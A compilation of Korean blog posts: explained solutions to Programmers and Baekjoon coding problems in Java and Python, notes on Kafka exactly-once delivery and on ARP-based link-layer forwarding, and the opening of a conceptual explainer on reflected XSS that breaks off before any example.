프로그래머스 - 디스크 컨트롤러

풀이 📝

import java.util.*;

class Task {
    private int requestTime; // 요청시간
    private int turnaroundTime; // 소요시간

    public Task(int requestTime, int turnaroundTime) {
        this.requestTime = requestTime;
        this.turnaroundTime = turnaroundTime;
    }

    public int getRequestTime() {
        return requestTime;
    }

    public int getTurnaroundTime() {
        return turnaroundTime;
    }
}


class Solution {
    public int solution(int[][] jobs) {
        int curTime = 0; // 현재시각
        List<Integer> result = new ArrayList<>();
        List<Task> tasks = new ArrayList<>();

        for (int i = 0; i < jobs.length; i++) {
            tasks.add(new Task(jobs[i][0], jobs[i][1]));
        }

        // 요청시간이 이른순, 소요시간 짧은순으로 정렬.
        tasks.sort(
            (task1, task2) -> {
                int compareByRequestTime = Integer.compare(task1.getRequestTime(), task2.getRequestTime());

                if (compareByRequestTime != 0) {
                    return compareByRequestTime;
                } 
                else {
                    return Integer.compare(task1.getTurnaroundTime(), task2.getTurnaroundTime());
                }
            }
        );

        Deque<Task> waitQ = new ArrayDeque<>(tasks);

        // 하나의 작업이 실행되는 동안 이미 들어온 작업들은 소요시간 짧은 것 부터 우선적으로 처리.
        PriorityQueue<Task> readyQ = new PriorityQueue<>(
            (task1, task2) -> {
                int compareByTurnaroundTime = Integer.compare(task1.getTurnaroundTime(), task2.getTurnaroundTime());

                if (compareByTurnaroundTime != 0) {
                    return compareByTurnaroundTime;
                } 
                else {
                    return Integer.compare(task1.getRequestTime(), task2.getRequestTime());
                }
            }
        );

        while (!waitQ.isEmpty() || !readyQ.isEmpty()) {

            // 처리할 요청이 없으면 waitQ에서 하나 가져와서 처리.
            if (readyQ.isEmpty()) {
                curTime = waitQ.element().getRequestTime();
                readyQ.add(waitQ.remove());
            }

            Task task = readyQ.remove();
            result.add(curTime - task.getRequestTime() + task.getTurnaroundTime());
            curTime += task.getTurnaroundTime();

            // 하나의 작업을 처리하는 동안 들어온 요청들을 우선순위 큐에 넣어줌.
            while (!waitQ.isEmpty() && waitQ.element().getRequestTime() <= curTime) {
                readyQ.add(waitQ.remove());
            }
        }

        return (int)result.stream().mapToInt(Integer::intValue).average().orElse(0.0);
    }
}

1. 문제 정의 요청 작업의 요청부터 완료까지 걸린 시간의 평균이 최소가 되도록 하는 문제이다.

2. 시간복잡도 계산 jobs 배열의 크기가 최대 500이다.

3. 문제 풀이 하나의 요청이 처리되는 동안 들어온 요청들이 기준에 정렬된 상태를 유지해야 되기 때문에 우선순위 큐를 사용했다. 우선순위 큐의 정렬 기준은 소요시간이 짧은순, 요청시간이 이른순으로 정의했다.

   그 이유는 이미 들어온 요청에 대해서 소요시간이 짧은거 부터 처리해야 다른 요청들이 덜 기다려서 전체 평균 처리시간이 짧아지기 때문이다.

4. 예외 사항 기타 예외 사항 없음.

프로그래머스 - 뒤에 있는 큰 수 찾기

풀이 📝

class Solution {
    public int[] solution(int[] numbers) {
        int n = numbers.length;
        int[] answer = new int[n];

        for (int i = 0; i < n; i++) {
            answer[i] = -1;
        }

        for (int i = n-2; i >= 0; i--) {
            if (numbers[i+1] > numbers[i]) {
                answer[i] = numbers[i+1];
                continue;
            }

            for (int j = i+1; j < n; j++) {
                if (answer[j] == -1) {
                    answer[i] = -1;
                    break;
                }

                if (answer[j] > numbers[i]) {
                    answer[i] = answer[j];
                    break;
                }
            }
        }
        return answer;
    }
}

1. 문제 정의 정수 배열 numbers의 각각 원소에 대하여 자신보다 뒤에 있으면서 큰 수 들 중 가장 가까운 수를 구하는 문제이다.

2. 시간복잡도 계산 numbers 배열의 크기가 최대 1,000,000이기 때문에 완전탐색으로 N^2 탐색을 할 경우 시간 초과가 날 가능성이 있다.

3. 문제 풀이 먼저 효율적으로 탐색하기 위해 배열을 뒤에서 부터 순회하면서 i+1번째 값이 i번째 값보다 크다면 뒷 큰수를 업데이트 해줬다. 만약 작다면 -1이 나오거나 뒷 큰수를 찾을 때까지 정방향으로 배열을 순회한다.

   추가적으로 시간복잡도를 낮추기 위해 탐색 범위를 가지치기했다. 뒷 큰수 배열의 값이 -1이면 그 뒤론 탐색을 중단하거나 뒷 큰수를 찾으면 탐색을 중단하는 방식으로 불필요한 탐색을 줄였다.

그 결과 대부분의 테스트케이스들에서 스택을 사용한 O(N) 풀이보다 속도가 더 빠른 것을 확인할 수 있었다.

4. 예외 사항 기타 예외 사항 없음.

Kafka의 사용 이유

EDA(Event Driven Architecture)와 Stram Data Pipeline 에서 중요한 역할을 수행

• 스트림 이벤트를 다뤄 실시간 데이터 처리
• 타임스탬프, 파티션, 메시지 키와 같은 기능들을 활용해 시간 단위 이벤트 데이터를 다룸

Meassage Reliability

• Exactly once (정확히 한 번) : 메시지가 정확히 한번만 전달되는 것을 뜻하며 가장 이상적인 상황이다.
• At least once (적어도 한 번) : 메시지가 적어도 한번은 전달되는 것을 보장하는 것으로 Ack을 받지 못하면 재시도하여 메시지가 중복될 수 있다는 것을 의미한다. 즉, 데이터 유실에는 critical하고 중복에는 tolerable한 서비스에 적합하다.
• At most once (최대 한 번) : 메시지가 최대 한번만 전달되는 것으로 Ack을 받지 못해도 무시하고 다음 데이터를 전송한다(빠르다). 즉, 데이터 유실에 tolerable하고 성능이 중요한 서비스에 적합하다.

Producer Acks의 종류

위의 메시지 전달 신뢰성은 Producer Configs의 acks 옵션으로서 구현되어 있다.

Kafka의 메시지 전달 방식

• Producer : Record 단위로 메시지를 발행하여 Acks을 받는 작업을 atomic하게 수행
• Consumer : 현재 Partition offset으로부터 Record 단위로 데이터를 읽고 변경된 offset을 commit 하는 작업을 atomic 하게 수행

문제상황 1 - Brocker Ack 유실

만약 네트워크 장애로 인해 Ack이 유실된다면? (default acks = 1) -> Ack이 유실되는 수 만큼 레코드 중복 적재

해결 1 - Idempotence(멱등성) producer

데이터의 중복 적재를 막기 위해 enable.idempotence 옵션을 제공하고 Kafka 3.0 버전 이후부터는 default true로 설정된다. 동작 방식은 다음과 같다.

• 멱등성 프로듀서는 레코드를 브로커로 전송할 때 PID(Producer unigue ID)와 Sequence number를 함께 전달
• 브로커는 PID와 Seq를 가지고 중복된 레코드가 오면 무시

문제상황 2 - 컨슈머의 장애에 따른 이벤트 중복 전달

위와 같이 특정 Consumer가 또 다른 Producer가 되어 여러 Topic에 메시지를 발행할 수 있다. (Topic to Topic message delivery)

예를 들어, 사용자가 광고를 클릭하면 광고주에게 비용을 청구하고 메체사에는 CPC 수익을 제공해야하는 비즈니스 로직이 있다고 가정. 사용자의 광고 클릭 로그들을 저장하여 이벤트를 발행하고 Application에서 해당 이벤트를 Consume하여 광고주 비용청구 이벤트와 매체사 수익 제공 이벤트를 발행.

만약 애플리케이션에서 데이터를 처리하고 offset commit 하기전 장애가 발생한다면? 애플리케이션 다시 동작할 때 이미 전달한 레코드를 중복하여 처리하게 됨. -> Offset commit 과 레코드 전달을 하나로(atomic) 묶어야만 한다!

해결 2 - Transaction Producer

위와 같이 Transaction Producer를 통해서 Consumer가 offset commit하지 않고 Producer가 트랜잭션 내부에서 커밋한다. 다만 주의할점은 Consumer가 자동으로 offset commit 하지 않도록 Consumer 설정을 다음과 같이 변경해줘야 한다.

enable.auto.commit = false

위에 예시를 들었던 서비스에 적용시키면 위와 같이 Consumer가 데이터를 처리하는 작업과 Producer로 다른 topic에 이벤트를 발행하는 작업을 하나의 트랜잭션으로 묶을 수 있다.

여기서 주의할점은 Consumer가 Producer가 커밋한 레코드만 읽을 수 있도록 Consumer의 isolation.level을 default 값인 read_uncommitted에서 read_committed로 변경해줘야 한다는 것이다.

isolation.level = read_committed

다만 Comsumer가 트랜잭션이 커밋될 때까지 기다리기 때문에 Letancy가 증가할 우려가 존재한다.

문제상황 3 - 다른 저장소 사용

다른 종류의 저장소를 사용할 땐 사실상 하나의 트랜잭션으로 완벽히 보장하긴 거의 불가능하다.

해결 3-1 - Unique Key 활용한 멱등성 컨슈머

타임스탬프와 같은 데이터로 Unique key를 만들어서 중복 적재를 방지. 다만 저장소에서 Unique key 기능을 제공해야 한다.

해결 3-2 - Upsert를 활용한 멱등성 컨슈머

Upsert = Update + Insert Window result과 같은 중간 결과값들을 일단 저장소에 저장하고 (Key가 없으면 Insert) 최종 결과값으로 Update하는 방식. (Key가 있으면 최종 결과값으로 Update)

해결 3-3 - Write-ahead log를 활용한 컨슈머

트랜잭션이 커밋되기전에 WAL에 미리 기록하여 적재 과정을 Atomic 하게 보장한다. 중복 적재를 검사할 때 2개의 로그 파일과 Topic offset들을 대조하여 데이터를 확인해야 되기 때문에 로직이 복잡해질 수 있다.

3가지 방법 정리

지금까지 나온 해결 방법들을 정리하면

1. Idempotence Producer를 통해 레코드 A Topic 레코드 중복 적재 방지
2. Transaction Consumer & Producer를 통해 B Topic 레코드 중복 적재 방지
3. Unique Key / Upsert / WAL Consumer를 통해 다른 종류 저장소에 데이터 중복 저장 방지

Reference : https://www.youtube.com/watch?v=7_VdIFH6M6Q&list=WL&index=2&t=1212s https://www.popit.kr/kafka-%EC%9A%B4%EC%98%81%EC%9E%90%EA%B0%80-%EB%A7%90%ED%95%98%EB%8A%94-producer-acks/

프로그래머스 - 무인도 여행

풀이 📝

import sys

sys.setrecursionlimit(10 ** 4)


def dfs(row, col, food):
    n = len(grid)
    m = len(grid[0])
    delta = [(1, 0), (0, 1), (-1, 0), (0, -1)]

    food += int(grid[row][col])

    for i in range(len(delta)):
        delta_row, delta_col = delta[i]

        new_row = row + delta_row
        new_col = col + delta_col

        if new_row < 0 or new_row >= n or new_col < 0 or new_col >= m:
            continue

        if grid[new_row][new_col] == 'X':
            continue

        if not visited[new_row][new_col]:
            visited[new_row][new_col] = True
            food = dfs(new_row, new_col, food)

    return food


def solution(maps):
    global visited
    global grid

    answers = []
    answer = 0
    n = len(maps)
    m = len(maps[0])
    visited = [[False] * m for _ in range(n)]
    grid = list(map(list, maps))

    for i in range(n):
        for j in range(m):
            if grid[i][j] != 'X' and not visited[i][j]:
                visited[i][j] = True
                answers.append(dfs(i, j, answer))

    if not answers:
        answers.append(-1)

    answers.sort()

    return answers

1. 문제 정의 여러 섬들의 식량의 합들을 각각 구해서 정렬하는 문제이다.

2. 시간복잡도 계산 모든 노드들을 탐색했을 때 최대 10,000개 노드를 탐색하기 때문에 충분히 시간내에 통과할 것이라 생각했다.

3. 문제 풀이 입력의 크기가 N <= 100, M <= 100으로 크지 않기 때문에 모든 노드들을 탐색하기로 하고 DFS를 수행하여 연결된 섬들을 구분한 뒤 식량값들을 더해서 반환하는 식으로 풀었다.

4. 예외 사항 기타 예외 사항 없음.

프로그래머스 - 호텔 대실

풀이 📝

import heapq


class Room:
    def __init__(self, ready_time):
        self.ready_time = ready_time

    def __lt__(self, other):
        if self.ready_time < other.ready_time:
            return True
        else:
            return False


def solution(book_time):
    max_room_cnt = 0
    hotel = []

    for i in range(len(book_time)):
        hour, minute = map(int, book_time[i][1].split(":"))
        minute += 10

        if minute >= 60:
            hour += 1
            minute -= 60

        hour = str(hour)
        minute = str(minute)

        if len(hour) == 1:
            hour = "0" + hour

        if len(minute) == 1:
            minute = "0" + minute

        book_time[i][1] = hour + ":" + minute

    book_time.sort()

    for start, end in book_time:
        if hotel:
            room = heapq.heappop(hotel)

            if start < room.ready_time:
                heapq.heappush(hotel, room)
                heapq.heappush(hotel, Room(end))
            else:
                room.ready_time = end
                heapq.heappush(hotel, room)
        else:
            heapq.heappush(hotel, Room(end))

        if len(hotel) > max_room_cnt:
            max_room_cnt = len(hotel)


    return max_room_cnt

1. 문제 정의 호텔 대실 예약시간이 주어졌을 때 시간이 겹치지 않도록 필요한 최소 방의 개수를 구하는 문제이다.

2. 시간복잡도 계산 for 문으로 한번 순회하면서 우선순위 큐에 삽입 삭제를 하기 때문에 시간복잡도는 최대 O(NlogN) 이다. book_time 배열의 길이가 최대 1,000이기 때문에 시간내에 통과할 것이라 판단했다.

3. 문제 풀이 먼저 청소시간도 방을 사용할 수 없기 때문에 대실 종료 시각에 10분씩 더해주었다. 그 다음 방을 최대한 활용하기 위해 book_time을 대실 시작 시간 기준으로 오름차순 정렬했다.

   우선순위 큐에서는 가장 종료 시간이 이른 Room을 꺼내서 방이 사용가능할 경우 Room의 대실 종료 시각을 지금 예약의 종료 시각으로 초기화 해주었고 방이 사용 불가능할 경우 새로운 방을 할당해 우선순위 큐에 넣어주었다.

4. 예외 사항 주어진 시각들이 "00:00" ~ "23:59" 이었기 때문에 단순한 문자열 비교로도 대소를 판별할 수 있었다.

오늘 쓰는 글의 목적은 네트워크 상으로 데이터가 전송되는 하나의 큰 그림 안에서 2계층의 목적은 무엇이고 어떤 역할을 하는지 확실하게 알아보기 위함이다.

먼저 3계층인 네트워크 계층의 목적은 바로 End node to end node 즉, 두 개의 컴퓨터 사이의 데이티 전송이다.

그런데 사실 네트워크 상에 두 개의 컴퓨터는 1 대 1로 연결되어 있는 것이 아니기 때문에 네트워크 상의 여러 노드들을 거쳐서 데이터가 전송된다. (엔드 노드 : 컴퓨터 / 노드 : 라우터, 스위치 등 - 1, 2 ,3계층의 네트워크 장비)

이러한 과정 속에서 2계층의 목적은 바로 하나의 노드에서 다른 하나의 노드로의 데이터 전송이다.

ARP 프로토콜 소개

그렇다면 Node to node의 데이터 전송을 어떠한 방식으로 이루어질까? 이를 이해하기 위해선 3계층의 ARP 프로토콜이 무엇인지 먼저 알 필요가 있다.

앞서 말한 것처럼 네트워크 상의 여러 노드들을 거쳐서 데이터를 전송하기 때문에 3계층에서는 IP 주소와 포트 번호만을 가지고는 목적지에 데이터를 보낼 수 없다.

따라서 다음 노드의 MAC 주소가 추가적으로 필요하게 되고 IP 주소를 이용해 해당 주솟값을 알아내는 것이 바로 이 ARP 프로토콜이다.

요청 측의 End node(컴퓨터)의 3계층에서 ARP packet을 broadcast 방식으로 모든 노드들에게 보낸다. 그 후 가장 가까운 노드의 Link-layer address (MAC 주소의 상위 개념)를 응답으로 받게 된다.

이렇게 받은 링크레이어 주소는 위와 같이 프레임 MAC 헤더의 목적지 MAC 주소에 저장된다. 여기서 중요한 점은 바로 목적지 MAC 주소는 3계층에서의 목적지인 End node의 MAC 주소가 아닌 2계층의 목적지인 다음 노드의 링크드레이어 주소라는 점이다. (마지막 단락에서 자세하게 소개.)

Link layer address

이쯤에서 링크레이어 주소가 어떤 것인지 확실하게 짚고 넘어가겠다. 링크레이어 주소는 우리가 익히 알고 있는 MAC 주소의 상위 개념으로 데이터링크 계층에서 사용되는 주솟값을 의미한다. MAC 주소는 디바이스의 유니크한 주솟값을 뜻하지만 링크레이어 주소를 여러 개를 가질 수 있다.

예를 들어, 위 그림을 보면 R1 라우터가 L2, L3, L4 이렇게 3개의 링크레이어 주소를 갖는 것을 볼 수 있다. 이게 가능한 이유는 라우터는 다중 네트워크 인터페이스를 가지고 있기 때문에 각각 네트워크마다 다른 링크레이어 주소를 가지고 있다.

이를 통해 위 그림처럼 프레임의 목적지 링크레이어 주소를 바꿔가면서 적절한 라우터로 데이터를 전송해 나갈 수 있다. 이 과정을 좀 더 자세히 알아보자.

Node to node 데이터 전송의 연쇄적인 과정

앨리스 컴퓨터에서 밥의 컴퓨터에 데이터를 전송하는 상황을 가정하고 순차적으로 어떤 일이 일어나는지 살펴보겠다.

먼저 앨리스 컴퓨터 (End node)의 3계층에서 ARP 프로토콜을 통해 IP 주소로 다음 노드의 링크레이어 주소를 알아내고 MAC 헤더를 갱신한다. 그런 다음 해당 링크레이어 주소를 갖고 있는 R1 라우터로 1계층을 통해 물리 신호를 전송한다.

그렇게 R1 라우터(3계층 장비)가 신호를 받으면 해당 신호를 디코딩 하여 2계층을 거쳐 3계층으로 전달된다. 3계층에서는 받은 데이터의 IP 주소와 ARP 프로토콜을 통해 다음 노드의 링크레이어 주소를 알아내고 MAC 헤더를 갱신한다.

R2 라우터가 데이터를 받으면 똑같은 방식으로 3계층까지 데이터를 Unpack 해서 ARP 프로토콜을 통해 다음 목적지의 링크레이어 주소를 갱신한다. 다만 이때의 링크레이어 주소가 바로 목적지 End node의 MAC 주소이다! 드디어 직접적으로 목적지 컴퓨터로 1계층을 통해 물리 신호를 전송한다.

밥 컴퓨터로 전달된 신호는 디코딩 되어 2계층, 3계층으로 전달된다.

+ (추가적으로 4계층에 데이터가 전달되면 포트 번호를 통해 listen 하고 있는 Socket을 식별하여 해당 소켓에 데이터를 Write 할 것이고 7계층의 사용자 프로세스(혹은 스레드)는 해당 소켓을 Read 하여 데이터를 전송받을 것이다.)

요약

결론적으로 요약하면 데이터링크 계층의 목적은 Node to node 데이터 전송이고 2계층은 MAC 헤더에 있는 출발 노드 주소와 목적지 노드 주소까지의 Delivery에만 관여한다.

다만 3계층 장비에 도달할 때마다 ARP 프로토콜을 통해 출발, 목적지 노드 주소를 갱신해 줌으로써 연쇄적인 Node to node delivery가 일어나고 이를 통해 3계층의 목적인 End node to end node delivery를 달성한다.

ps. 이 글은 하나 큰 그림에서 2계층이 가지고 하나의 목표에 대해 집중했으며 media access control과 같은 2계층의 중요한 역할도 물론 존재합니다.

Reference : Computer Networking A Top-Down Approach - James F. Kurose, Keith W. Ross

백준 - 계단 오르기

풀이 📝

import sys


def solution(n, stairs):
    if n < 3:
        return sum(stairs)

    dp = [0] * n
    dp[0] = stairs[0]
    dp[1] = stairs[0] + stairs[1]
    dp[2] = max(stairs[0] + stairs[2], stairs[1] + stairs[2])

    for i in range(3, n):
        dp[i] = max(dp[i-3] + stairs[i-1] + stairs[i], dp[i-2] + stairs[i])

    return dp[n-1]


n = int(sys.stdin.readline())
stairs = [int(sys.stdin.readline()) for _ in range(n)]
print(solution(n, stairs))

1. 문제 정의 매 계단마다 주어진 점수가 있고 한 계단 혹은 두 계단 씩 오를 때 최대 점수를 구하는 문제이다. 단, 3번 연속 한 계단씩 오르면 안 된다.

2. 시간 복잡도 계산 계단의 최대 개수는 300개이지만 매 순간마다 해당 계단을 한 계단 뛰어 도착할지 혹은 두 계단 뛰어 도착할지 2가지 경우의 수가 존재하기 때문에 최대 탐색 범위는 2^300으로 매우 크다.

3. 문제 풀이 따라서 DP로 문제에 접근했고 먼저 dp 배열을 정의했다.

   dp[i] : i 번째 계단까지의 최댓값

   그런 다음 DP 점화식을 구해야 하는데 그 과정이 쉽지 않았다. 먼저 첫 번째, 두 번째 계단까지는 dp 초기항으로서 쉽게 구할 수 있다.

   i 번째 항을 생각해 보면 i-1 번째 계단을 거쳐서 오는 것과 (한 계단 뛰어오는 것) i-2 번째 계단을 거쳐서 오는 것으로(두 계단 뛰어오는 것) 나눠서 생각할 수 있다.

   여기서 주의할 점은 i-1 번째 계단을 거쳐서 온다는 것은 i-2 번째 계단은 안 거친다는 것이다. (3개 연속으로 밟을 수 없기 때문에) 따라서 i-3까지의 최댓값에 i-1과 i 번째 점수를 더해주면 된다.

   반면에 i-2 번째 계단을 거쳐오는 경우는 단순히 i-2까지의 최댓값에 i 번째 점수를 더해주면 된다.

   따라서 점화식은 다음과 같다.

   dp[i] = max(dp[i-3] + stairs[i-1] + stairs[i], dp[i-2] + stairs[i])

4. 예외 사항 점화식을 보면 i-3번째 항이 존재해야 사용할 수 있기 때문에 dp[3]까지는 초기항들을 이용해 직접 구해야 한다.

프로그래머스 - 타겟 넘버

DFS 풀이 📝

class Solution {
    private static int answer = 0;

    public int solution(int[] numbers, int target) {
        dfs(0, numbers, 0, target);
        return answer;
    }

    private void dfs(int num, int[] numbers, int index, int target) {
        if (index == numbers.length) {
            if (num == target) {
                answer++;
            }
            return;
        }

        dfs(num + numbers[index], numbers, index + 1, target);
        dfs(num - numbers[index], numbers, index + 1, target);
        return;
    }
}

BFS 풀이 📝

import java.util.*;

class Solution {
    public int solution(int[] numbers, int target) {
        int answer = 0;
        int start = 0;

        Deque<Integer> queue = new ArrayDeque<>();
        queue.add(start);

        for (int num : numbers) {
            int len = queue.size();

            for (int i = 0; i < len; i++) {
                int val = queue.remove();

                queue.add(val + num);
                queue.add(val - num);
            }
        }

        while (!queue.isEmpty()) {
            int val = queue.remove();

            if (val == target) {
                answer++;
            }
        }
        return answer;
    }
}

1. 문제 정의 numbers 배열의 숫자들을 순서를 바꾸지 않고 서로 더하거나 뺐을 때 target number가 나오는 경우의 수를 구하는 문제이다.

   이 문제의 상태 공간을 트리로서 정의하게 되면 루트 노드가 0이고 부모 노드 값에서 numbers 배열의 원소를 +, - 한 값을 자식 노드로 갖는 Binary Tree가 된다.

   따라서 문제는 리프 노드까지 트리를 완전 탐색하고 리프 노드 중 Target number와 값이 같은 노드의 수를 구하는 것이다.

2. 시간 복잡도 계산 numbers 배열의 길이가 트리의 최대 depth를 의미하며 최대 20이다. 한 depth마다 +, - 즉, 2개의 자식 노드가 생기기 때문에 전체 탐색 범위는 2^20, 약 1,000,000개의 노드이다. 따라서 완전 탐색을 진행해도 충분히 가능하다.

3. 문제 풀이 완전 탐색을 하면 되기 때문에 DFS, BFS 어떤 것을 사용해도 문제없다. 따라서 2가지 방식 모두 사용하여 풀어봤다.

   하지만 한 가지 주의할 점이 있는데 이 문제는 depth마다 자식 노드에 +, - 할 값이 다르다는 것이다. (numbers 배열의 원소가 각각 다르기 때문.)

   즉, depth 별로 명확히 나누어서 로직을 처리해야 한다. 따라서 Stack을 사용한 DFS 풀이에서는 그렇게 하기가 까다롭기 때문에 재귀를 사용해 풀었으며 BFS는 depth 처리를 명확하게 하기 위해 한 depth씩 로직 처리를 진행했다.

   추가적으로 두 방법으로 시간 측정을 한 결과 DFS가 약 10배 정도 속도가 빨랐다. DFS에서 특별한 가지치기를 통해 탐색 범위를 줄이지 않았기 때문에 탐색 범위는 같았다. 그래서 그 이유가 궁금했고 추측해 본 결과 2가지 정도의 추측을 할 수 있었다.

   • 재귀 호출의 효율성 : 함수 호출 스택을 사용하여 데이터를 넘겨 주기 때문에 메모리 관리 측면에서 효율적일 수 있다. (BFS 풀이에서는 많은 수의 노드들을 큐에 넣어 관리함.)
   • 재귀 호출의 깊이에 따른 최적화 : 컴파일러 차원에서 재귀 호출의 깊이가 일정 수준 이하면 최적화를 수행함. (꼬리 재귀 최적화, 인라인 함수 사용, 레지스터 사용 등)

4. 예외 사항 기타 특이사항 없음.

프로그래머스 - 더 맵게

풀이 📝

import java.util.*;

class Solution {
    public int solution(int[] scoville, int K) {
        int answer = 0;
        PriorityQueue<Integer> minHeap = new PriorityQueue<>();

        for (int num : scoville) {
            minHeap.add(num);
        }

        while (minHeap.peek() < K) {
            if (minHeap.size() < 2) {
                return -1;
            }
            int first = minHeap.poll();
            int second = minHeap.poll();
            minHeap.add(first + 2*second);
            answer++;
        }
        return answer;
    }
}

1. 문제 정의 스코빌 지수가 정렬된 채로 주어졌을 때 가장 낮은 것과 두 번째로 낮은 것을 섞어서 스코빌 지수를 높인다. 그렇게 가장 작은 것이 K 이상이 될 때까지 몇 번 섞어야 하는지 구하는 문제이다.

2. 시간 복잡도 계산 배열의 길이가 최대 1,000,000이기 때문에 섞어서 삽입할 때마다 계속해서 정렬하게 되면 시간 초과가 발생할 것이다.

3. 문제 풀이 따라서 정렬된 상태에서 삽입, 삭제가 빈번하므로 Heap 자료구조를 떠올려야 한다. 그 이후론 문제의 요구 조건에 따라 쉽게 구현할 수 있다.

4. 예외 사항 애초에 모든 음식이 스코빌 지수가 K 이상인 경우와 아무리 섞어도 K 이상으로 만들 수 없는 경우를 생각해야 한다.

프로그래머스 - 기능개발

풀이 📝

import java.util.*;

class Solution {
    public int[] solution(int[] progresses, int[] speeds) {
        List<Integer> answer = new ArrayList<>();
        Queue<Integer> deployDays = new ArrayDeque<>();

        for (int i = 0; i < progresses.length; i++) {
            int day = (int)Math.ceil((100 - progresses[i]) / (double)speeds[i]); //소요 일수 계산.

            if (deployDays.isEmpty()) {
                deployDays.add(day);
                continue;
            }

            if (deployDays.element() >= day) {
                deployDays.add(day);
            }
            else {
                answer.add(deployDays.size());
                deployDays.clear();
                deployDays.add(day);
            }
        }

        if (!deployDays.isEmpty()) {
            answer.add(deployDays.size());
        }

        return answer.stream()
            .mapToInt(Integer::intValue)
            .toArray();
    }
}

1. 문제 정의 작업 진행도와 작업 속도가 주어졌을 때 언제 완료될지 계산해서 하나의 배포 시기에 몇 개의 기능들이 배포되는지 구하는 문제이다.

주의할 점은 작업들 간의 순서가 존재하여 앞 작업이 완료되지 않아 배포되지 않으면 뒤 작업들은 대기했다가 앞 작업이 배포될 때 같이 배포되어야 한다.

2. 시간 복잡도 계산 작업의 개수는 최대 100개로 O(N)으로 풀었기 때문에 특별히 고려할 사항 없었다.

3. 문제 풀이 먼저 작업 별로 언제 완료되는지 계산해서 deployDays 큐에 넣어주었다. 넣어줄 때 현재 큐에 맨 앞에 있는 작업보다 완료될 날짜가 앞이라면 그냥 넣어주고 만약 완료될 날짜가 뒤라면 전부 배포 처리하고 넣어주었다.

4. 예외 사항 기타 특이사항 없음.

백준 - 불!

풀이 📝

import sys
from collections import deque


def solution(miro):
    time = 0
    delta = [(1, 0), (0, 1), (-1, 0), (0, -1)]
    j_visited = [[False] * c for _ in range(r)]
    j_q = deque()
    fire_q = deque()

    for i in range(r):
        for j in range(c):
            if miro[i][j] == 'J':
                miro[i][j] = '.'
                j_q.append((i, j))
            elif miro[i][j] == 'F':
                fire_q.append((i, j))

    while j_q:  # 지훈이가 갈 곳이 있다면
        for _ in range(len(fire_q)):  # 먼저 불 확산.
            row, col = fire_q.popleft()

            for i in range(4):
                delta_row, delta_col = delta[i]
                new_row = row + delta_row
                new_col = col + delta_col

                if new_row < 0 or new_row >= r or new_col < 0 or new_col >= c:
                    continue

                if miro[new_row][new_col] == '.':
                    miro[new_row][new_col] = 'F'
                    fire_q.append((new_row, new_col))

        for _ in range(len(j_q)):  # BFS로 지훈이가 다음 타임에 갈 방향 탐색.
            row, col = j_q.popleft()

            for i in range(4):
                delta_row, delta_col = delta[i]
                new_row = row + delta_row
                new_col = col + delta_col

                if new_row < 0 or new_row >= r or new_col < 0 or new_col >= c:  # 경계 지점에 있으면 다음 타임에 탈출 확정.
                    return time + 1

                if not j_visited[new_row][new_col] and miro[new_row][new_col] == '.':
                    j_visited[new_row][new_col] = True
                    j_q.append((new_row, new_col))
        time += 1

    # 갈 곳이 더이상 없다면
    return "IMPOSSIBLE"


r, c = map(int, sys.stdin.readline().split())
miro = [list(sys.stdin.readline().rstrip()) for _ in range(r)]

print(solution(miro))

1. 문제 정의 2차원 격자의 미로에서 지훈이와 불이 1초마다 1칸씩 상하좌우로 움직일 때 지훈이가 불을 피해 탈출할 수 있는 최단거리를 구하는 문제이다.

2. 시간 복잡도 계산

최단거리 문제이기 때문에 BFS 탐색을 떠올렸으며 최악의 경우 BFS러 전부 탐색할 경우 시간초과가 나지 않을 지 확인해야한다.

행과 열의 개수가 각각 최대 1,000이기 때문에 전체 탐색 범위는 최대 1,000,000이므로 최악의 경우에도 시간초과가 나지 않을것이라 판단했다.

3. 문제 풀이

먼저 불을 퍼트려서 갈 수 있는 길들을 비활성화 시키고 지훈이는 ' . '인 곳만 가도록 BFS로 구현했다.

이렇게 구현해도 문제 없는 이유는 불 기준으로 상하좌우에 있는 길들은 지훈이가 먼저 이동한다 생각해도 다음턴에 불에 바로 삼켜지기 때문이다.

ps. (처음엔 지훈이가 움직이는 BFS와 불이 움직이는 BFS를 함수로 따로 구현하려 시도했다. 하지만 각각 한 Breadth씩 순서대로 나가야 하기 때문에 하나의 함수에 구현하게 되었다.)

4. 예외 사항 F가 시작 지점이 여러 개일 수도 있다.

프로그래머스 - 이모티콘 할인행사

풀이 📝

from itertools import product

def solution(users, emoticons):
    answer = []
    m = len(emoticons)
    discount = [10, 20, 30, 40]

    cases = list(product(discount, repeat=m))

    for case in cases:
        sub = 0
        amount = 0

        prices = []
        for i in range(m):
            prices.append((emoticons[i] // 100) * (100 - case[i]))

        for target, threshold in users:
            money = 0

            for i in range(m):
                if case[i] >= target:
                    money += prices[i]
            if money >= threshold:
                sub += 1
            else:
                amount += money
        answer.append((sub, amount))

    answer.sort(key=lambda x: (-x[0], -x[1]))

    return answer[0]

1. 문제 정의 이모티콘의 할인율을 탐색했을 때 서비스 가입자, 매출액의 최댓값을 찾는 문제이다. (서비스 가입자가 같으면 매출액이 최대가 되도록)

2. 시간 복잡도 계산 완전 탐색이 먼저 가능한지 계산해 봤다. 먼저 가능한 이모티콘의 가격들은 중복조합으로 구할 수 있고 4^7이기 때문에 약 16,000이다.

   또한 user의 수가 최대 100이기 때문에 총 탐색 범위는 약 1,600,000이다. 따라서 충분히 완전 탐색이 가능하다고 판단했다.

3. 문제 풀이

itertools.product 라이브러리로 중복조합을 생성해 주었으며 문제에 조건에 따라 계산해 주고 마지막엔 (가입자 수, 매출액) 기준으로 정렬해 주었다.

4. 예외 사항 기타 특이사항 없음.

XSS 공격이란?

먼저 XSS에 대한 개념에 대하여 알아보겠습니다. XSS는 대부분의 웹사이트의 내장된 자바스크립트의 <script> 태그를 이용하는 방식인데요.

공격자에 의해 작성된 스크립트를 피해자의 웹브라우저에서 실행시키게 하여 사용자의 세션을 탈취하거나 웹사이트를 변조시키고 악의적인 사이트로 사용자를 이동시키는 등의 피해를 발생시킬 수 있는 해킹 방법입니다.

XSS 공격에는 총 2가지의 방식이 있습니다. 각각 그림과 함께 설명해보겠습니다.

1. Reflected XSS 방식

먼저 Reflected 방식의 가장 큰 특징은 특정한 사용자를 대상으로 한다는 것입니다. 즉, 주목적이 특정한 사용자로 하여금 공격자의 스크립트가 웹브라우저에 의해 실행되게 하는 것이기 때문에 피싱 등의 방법을 사용하게 됩니다.

예를 들어, 피싱 메일의 링크를 사용자가 클릭하면 공격자의 스크립트가 삽입된 요청을 특정 서버에 보내게 됩니다.

